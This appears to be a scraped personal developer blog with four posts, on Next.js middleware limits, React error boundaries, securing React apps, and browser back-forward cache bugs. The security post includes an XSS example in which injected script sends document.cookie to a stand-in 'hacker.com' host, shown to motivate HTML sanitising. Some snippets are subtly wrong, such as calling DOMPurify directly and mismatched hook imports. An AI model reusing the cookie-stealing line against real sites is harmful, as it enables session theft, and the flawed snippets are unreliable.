
> TL;DR: Next.js's middleware only allow access to limited Node.js's API. If you need to access the full Node.js's API, you need to use some crazy workaround or implement a custom server for your Next.js app. 


### Problem
Let's say you want to implement an rate limiting for you NextJS app, store the data in Redis, and also want to use the same connection pool for your API route. It seem like a perfect case for using NextJS's middleware, right ? 

```js
// middleware.ts
import Redis from "ioredis";

export const redis = new Redis('redis://localhost:6379');

const rateLimitCheck = (ip: string) => {
  // some logic to check the rate limit
  if (valid) {
    return true;
  }
  return false;
}

export async function middleware(req) {
  const res = NextResponse.next();
  const ip = req.ip;
  if (rateLimitCheck(ip)) {
    return res;
  }
  return new Response('Too many requests', { status: 429 });
}
```
This code seems totally fine, but it won't work. When you run it, you will see the error that explains that middleware cannot handle the Redis import because some API is missing in the middleware runtime. That because of [this](https://nextjs.org/docs/pages/building-your-application/routing/middleware#runtime)

> Middleware currently only supports the Edge runtime. The Node.js runtime can not be used.

So, because `ioredis` uses some Node.js's API that Vercel's Edge runtime doesn't support, there is no way to use `ioredis` in the middleware of Next.js, and that just so sucks to realize. To be honest, I was really frustrated when I realize that, because my NextJS app is running fully on Node in my VPS and nothing is being used from Edge runtime.

Not just you, the community is also complaining about this. There is an [one of the most upvoted and reacted issues](https://github.com/vercel/next.js/discussions/46722) about this annoying problem. NextJS's team know this but decide the put this in the deep of their backlogs and just say some promises about "we're working on it" and "it's in our roadmap". But trust me, it's been years and nothing has changed.

So, we must save ourselves and find a solution for this. 

### Workaround

Implement your logic in API route, and then call that API route from middleware. Crazy and seem anti-pattern, but it works.

```ts
// api/rate-limit.ts
import Redis from "ioredis";

export const redis = new Redis('redis://localhost:6379');

const rateLimitCheck = (ip: string) => {
  // some logic to check the rate limit
  if (valid) {
    return true;
  }
  return false;
}

export async function GET(req: NextApiRequest, res: NextApiResponse) {
  // get ip from request params
  const ip = req.query.ip;
  if (rateLimitCheck(ip)) {
    return res.status(200).json({ success: true });
  }
  return res.status(429).json({ success: false });
}

// middleware.ts
export async function middleware(req) {
  const res = NextResponse.next();
  const ip = req.ip;
  const response = await fetch(`${process.env.YOUR_DOMAIN}/api/rate-limit?ip=${ip}`);
  const data = await response.json();
  if (data.success) {
    return res;
  }
  return new Response('Too many requests', { status: 429 });
}
```

### Long term solution

The best solution is to use a full NodeJS server for your NextJS app, and then you can use all the NodeJS's API in your server. You can use a [custom server](https://nextjs.org/docs/pages/building-your-application/configuring/custom-server) with NextJS, but you need to do some more work to make it works.

> ⚠️ Custom server has some un-documented issues, because you know, Vercel don't want to support Custom server as much as the community want, so prepare for some headaches in production when convert from `next start` to `node server.ts`.

Below is an example of a custom server for NextJS with Express:

```ts
// server.ts
import express from 'express';
import next from 'next';
import Redis from 'ioredis';

const app = next({ dev: process.env.NODE_ENV !== 'production' });
const handle = app.getRequestHandler();
// Work normally without weird edge runtime stuff
const redis = new Redis(process.env.REDIS_URL);

app.prepare().then(() => {
  const server = express();
  server.all('*', (req, res) => {
    if (req.path.startsWith('/api/')) {
      // add your rate limit logic here
      // redis...
    } 
    return handle(req, res);
  });
});
```
Happy coding! 🚀




NextJS Middleware full NodeJS access


> TL;DR: React `ErrorBoundary` only catch the error that happens during the rendering phase, not the error that happens in the event handler. Use `react-error-boundary` library to handle the error in the event handler.

When I read about the [react's error boundary](https://react.dev/reference/react/Component#catching-rendering-errors-with-an-error-boundary), I thought that I just need to wrap my component with `ErrorBoundary` and every single Javascript error will be caught and handled by the it. Because it's make sense, right ?

But it's not how it works. Let's go through the common mistake and how to use the `ErrorBoundary` component properly.

### React's ErrorBoundary

Let's say you already have a stand `ErrorBoundary` component like this:

```jsx
class ErrorBoundary extends React.Component {
  constructor(props) {
    super(props);
    this.state = { hasError: false };
  }

  static getDerivedStateFromError(error) {
    return { hasError: true };
  }

  componentDidCatch(error, errorInfo) {
    console.error(error, errorInfo);
  }

  render() {
    if (this.state.hasError) {
      return <h1>Something went wrong.</h1>;
    }

    return this.props.children;
  }
}
```

And then you use it to wrap your component like this:

```jsx
import ErrorBoundary from './ErrorBoundary';

const ErrorComponent = () => {
  const [message, setMessage] = useState('Hello world');

  const onClick = () => {
    try {
      // you expect that this error will be caught by the ErrorBoundary, right ?
      throw new Error('Some error');
    } catch (error) {
      console.error(error);
    }
  };

  return (
    <ErrorBoundary>
      <h1>{message}</h1>
      <button onClick={onClick}>Click me</button>
    </ErrorBoundary>
  );
};
```

You expect that when you click the button, the error will be caught by the `ErrorBoundary` and fallback will be rendered, right ?

But it's not how it works. 

The `ErrorBoundary` **only catch the error that happens during the rendering phase**, not the error that happens in the event handler, like the `onClick` event in the example above.

[Legay React Error Boundaries docs](https://legacy.reactjs.org/docs/error-boundaries.html#introducing-error-boundaries) clearly states that:

> Error boundaries do not catch errors for:
> - Event handlers (learn more)
> - Asynchronous code (e.g. setTimeout or requestAnimationFrame callbacks)
> - Server side rendering
> - Errors thrown in the error boundary itself (rather than its children)

In above example, ErrorBoundary only catch if some error happen during the rendering phase, like this `setMessage` function:

```jsx
const ErrorComponent = () => {
  const [message, setMessage] = useState('Hello world');

  const onClick = () => {
    setMessage(() => {
      // => this error will be caught by the error boundary
      message.xyz();
      return message;
    });
  };

  return (
    <ErrorBoundary>
      <h1>{message.xyz()}</h1>
      <button onClick={onClick}>Click me</button>
    </ErrorBoundary>
  );
};
```

### Solution

If you still want to show the fallback UI when the error happens in the event handler, a great solution for this is to use the [react-error-boundary](https://github.com/bvaughn/react-error-boundary) library. 

I've been using this library in every single react app that I've been working on. Great library, as the author is a former react core team member.

`react-error-boundary` provides a lot of usefull features for error handling in react app, and it's very easy to use also.

As in example above, you can use the `ErrorBoundary` and `useErrorBoundary` hook to handle the error in the event handler:

```jsx
import { ErrorBoundary, useErrorHandler } from 'react-error-boundary';

const ErrorComponent = () => {
  const [message, setMessage] = useState('Hello world');
  const { showBoundary } = useErrorBoundary();

  const onClick = () => {
    try {
      message.xyz();
    } catch (error) {
      // => this will show the fallback UI of nearest ErrorBoundary
      showBoundary(error);
    }
  };

  return (
    <ErrorBoundary FallbackComponent={SomeErrorFallbackUI}>
      <h1>{message}</h1>
      <button onClick={onClick}>Click me</button>
    </ErrorBoundary>
  );
};
```

Just that, and you will have a great error handling in your react app.

Everything you need for handling error in react app is provided by `react-error-boundary`, make sure you read the docs and use it properly.

Happy coding! 🚀




React Boundary common mistake and how to use it properly

React Error Boundary mistake


> TL;DR: 
> - Sanitize HTML content.
> - Keep your dependencies updated.
> - Set the right security HTTP Headers.

Security always a top priority for any application. In this article, we will discuss how to secure your react app.

### React's dangerouslySetInnerHTML

When you just start learning react and you just know that their is a prop called `dangerouslySetInnerHTML`, you might confuse "If it's dangerous, why it's there?". In the end, as you want to render HTML content from a string, you will use it anyway.

```jsx
<div dangerouslySetInnerHTML={{ __html: '<h1>Hello, <b>World</b></h1>' }} />;
```

The result will be:

```html
<div>
  <h1>Hello, <b>World</b></h1>
</div>
```

But as you have more experience with react, you will know that React team named it with `dangerously` prefix to make sure that **you know what you are doing**. As always, [React docs did a great job to explain it](https://react.dev/reference/react-dom/components/common#dangerously-setting-the-inner-html).

It is an feature to improve the security of your react app. But it not enough, their are other things you need to do to prevent your app from the most common web hacking techniques.

### Santize HTML Content 

[Infamous XSS attack](https://developer.mozilla.org/en-US/docs/Web/Security/Types_of_attacks#cross-site_scripting_xss) is allow an attacker to inject malicious scripts into web pages viewed by other users.

In React, HTML strings are rendered as plain text by default. This is an intentional security feature that helps prevent this attack. But when you need to render HTML content from a string, you have to use `dangerouslySetInnerHTML` prop and now the rest is up to you.

This is your component to render an blog content that you get from an API:

```jsx
function BlogContent() {
  const [content, setContent] = useState('');

  useEffect(() => {
    fetch('https://someApi.xyz/blog/1')
      .then((response) => response.json()) 
      .then((data) => {
        // data = { content: '<h1>Hello, <b>World</b></h1>' }
        setContent(data.content); 
      });
  }, []);

  return <div dangerouslySetInnerHTML={{ __html: content }} />;
}
```

But if the hacker compromise the API, change the response to:

```json
{ 
  "content": "<script>
  fetch('https://hacker.com/stealCookies?cookie=' + document.cookie);
  </script>" 
}
```

Now each time a user visit your blog, the hacker will get the user's cookies which might contain sensitive information, such as session or authentication tokens !!!

Solution for this is you **have to sanitize the HTML content** before rendering it. The most popular library for this kind of task is [DOMPurify](https://www.npmjs.com/package/dompurify).

The render part now will look like this:

```jsx
import DOMPurify from 'dompurify';
// This will do the job
<div dangerouslySetInnerHTML={{ __html: DOMPurify(content) }} />;
```

### Keep Dependencies Updated

You will suprise how many vulnerabilities in your project dependencies. We `npm i <package>` without thinking about the security of the package and that is a gold mine for hackers.

Do you remember annoying github bot notifications about your project dependencies? That's because they are outdated and have known vulnerabilities.

Run `npm audit` to see a list of known vulnerabilities in your project's dependencies. The output will look like this:

<Image src="/003/001.png" />

Ideadly we will fix all of them, but in reality, we really need to focus on upgrade the `Severity: high` vulnerabilities first.

Some vulnerabilities support auto fix by run `npm audit fix`. But some of them need to be fixed manually.

If you're using Github, I highly recommend to not ignore [Dependabot](https://github.blog/2023-01-12-a-smarter-quieter-dependabot/) anymore and let it do the job for you.

### HTTP Security Headers

A lot of attacks can be prevented by setting the right security HTTP Headers.

In NextJS, you can set the security headers by modify `next.config.js`:

```js
module.exports = {
  // ... your other config
  async headers() {
    return [
      {
        source: '/(.*)',
        headers: [
          {
            key: 'header-name',
            value: 'header-value',
          },
          // other header object
        ],
      },
    ];
  },
};
```

Or you can use an external library like [next-secure-headers](https://github.com/jagaapple/next-secure-headers) to do the job for you.

Also, their is a awesome tool that you should use to check your site's security headers: [securityheaders.com](https://securityheaders.com/)

<Image src="/003/002.png" />


#### `Content-Security-Policy`

[Content Security Policy (CSP)](https://developer.mozilla.org/docs/Web/HTTP/CSP) is important to guard your application against various security threats such as cross-site scripting (XSS), clickjacking, and other code injection attacks.

NextJS have a [great doc](https://nextjs.org/docs/pages/building-your-application/configuring/content-security-policy) to explain how to set it up and handle some edge case for it. I highly recommend to read it.

#### `X-Frame-Options`

Prevent [ClickJacking](https://owasp.org/www-community/attacks/Clickjacking) by not allowing your site to be embedded in an iframe.

If you don't want your site to be embedded in an iframe at all, you can just set the `X-Frame-Options` header to `DENY`. Otherwise you can set it to `SAMEORIGIN` to if you want to allow your site to be embedded in an iframe from the same origin.

```js
{
  key: 'X-Frame-Options',
  value: 'DENY',
}
```

#### `X-XSS-Protection`

This header enables the [Cross-site scripting (XSS) filter](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-XSS-Protection) in the browser. The browser will prevent the page from loading when it detects reflected cross-site scripting attacks.

```js
{
  key: 'X-XSS-Protection',
  value: '1; mode=block',
}
```

### Futher reading

- <Link href="https://github.com/jagaapple/next-secure-headers" />



Improve the security of your ReactJS app by following these guidelines.

Secure your ReactJS app


> TLDR: if you develop an react component and their is an senerio that user can navigate to external URL and back to the previous screen, you should be aware of the back-forward cache in the browser. Their are 2 common solution to handle this issue: 
> - use `ref` to sync the state of input element with the state of the component
> - use `useEffect` to reset the state of the component


## Issue when nagivate to external URL and go back

Recently, when I implement a feature in my project at work, I experienced a weird issue in my react app.

For some context, I have an screen that have an list of checkboxes and an continue button, each checkbox will come with an external URL, when user click on the checkbox, it will navigate to the external URL, and user can use browser back button to go back to the previous screen. Continue button will disabled by default, and only enable when user checked all the checkboxes.


```jsx
const PageAbc = ({ label, url }) => {
  const [checkedMapping, setCheckedMapping] = useState({});

  return (
    <div>
      {DATA.map((item) => (
        <div key={item.value}>
          <input
            type="checkbox"
            value={item.value}
            checked={checkedMapping[item.value]}
            onChange={() => {
              setCheckedMapping((prev) => ({
                ...prev,
                [item.value]: !prev[item.value],
              }));
            }}
          />

          <label htmlFor={item.value}>{item.label}</label>

          <a href={item.url} target="_blank" rel="noopener noreferrer">
            View detail
          </a>
        </div>
      ))}

      <button disabled={Object.values(checkedMapping).every(Boolean)}>
        Continue
      </button>
    </div>
  );
};
```

The issue is, if user already checked all of the checkboxes, the continue button will enable, but then user click on external URL and navigate to it, then click back button, user still see all of the checkboxes are checked, but the continue button is disabled.

This lead to some confusion for the user, and bug also, because user will need to uncheck and check again to enable the continue button again.

After some investigation, I found out that the root cause is because of the inconsistency between component state `checkedMapping` and the browser cache data. When user navigate back to the previous screen, the component state is empty as initial state, but the browser cache still have the previous state of the checkboxes (`checked = true` in input element).

You can try this issue in [this page](/examples/BackForwardReactBug).

So, what is the browser cache data called ? It's called *[back-forward cache](https://web.dev/articles/bfcache)*, and it's a feature that is enabled by default in most of the modern browsers.

> The back-forward cache is a browser optimization that allows to cache the whole page when user navigate away from it, and when user navigate back to the page, the page will be restored from the cache, instead of re-rendering the page from scratch. It help to improve the performance and user experience, because the page will be restored instantly, without any loading time.

Since we manage the UI state in the react component, and the back-forward cache will restore the page to the previous state, but the restored UI won't sync with your state data

## Solution

Before we looking for solution, we need to take note that react **will not trigger unmount lifecyle when redirect to external URL !!**, so any solution involve with unmount lifecyle will not work.

The most simple and yet effective solution is reset the state of the component when user navigate back to the previous screen. We can use `useEffect` with `[]` as dependency array.

```jsx
useEffect(() => {
  // when user nagivate back to the previous screen, reset the state of the component
  setCheckedMapping({});
}, []);
```

But this solution have some downside:
- Reset the state of the component in `useEffect` lead to re-render after initial render, and it's not good for performance or user experience. 
- Depend on business requirement, you may need to keep the state of the component when user navigate back

So if you want to keep the state of component, another great solution is use `ref` to sync the state of input element with the state of the component.

```jsx
const PageAbc = ({ label, url }) => {
  const [checkedMapping, setCheckedMapping] = useState({});
  const inputRefs = useRef([]);

  useEffect(() => {
    // This useEffect will run when user navigate back
    // it will sync the input state that cached by browser with the state of the component
    const updateMapping = inputRefs.current.reduce((acc, ref) => {
      acc[ref.value] = ref.checked;
      return acc;
    }, {});
    setCheckedMapping(updateMapping);
  }, [])

  return (
    <div>
      {DATA.map((item, index) => (
        <div key={item.value}>
          <input
            type="checkbox"
            // store ref value to sync with checkedMapping later
            ref={ref => inputRefs.current[index] = ref}
            value={item.value}
            checked={checkedMapping[item.value]}
            onChange={() => {
              setCheckedMapping((prev) => ({
                ...prev,
                [item.value]: !prev[item.value],
              }));
            }}
          />

          <label htmlFor={item.value}>{item.label}</label>

          <a href={item.url} target="_blank" rel="noopener noreferrer">
            View detail
          </a>
        </div>
      ))}

      <button disabled={Object.values(checkedMapping).every(Boolean)}>
        Continue
      </button>
    </div>
  );
};
```

IMO, this is the most flexible and reliable solution when it come to solve BFCache issue in React application. Moreover, it improve user experience a lot and user always love great UX app.

It's also a good practice to use `ref` to sync the state of input element with the state of the component, because it's help to avoid the inconsistency between the UI and the state of the component.

So, a win-win solution for both developer and user.

Happy coding! 🚀



How to handle the back-forward cache feature in the browser when develop a react component

Hey! 👋 I'm David Tran
Software Engineer from 🇻🇳
I love building websites

my blog

NextJS Middleware full NodeJS access

React Error Boundary mistake

Secure your ReactJS app

Back and forward cache in react

Hey! 👋 I'm David TranSoftware Engineer from 🇻🇳I love building websites

my blog

NextJS Middleware full NodeJS access

React Error Boundary mistake

Secure your ReactJS app

Back and forward cache in react

Hey! 👋 I'm David Tran
Software Engineer from 🇻🇳
I love building websites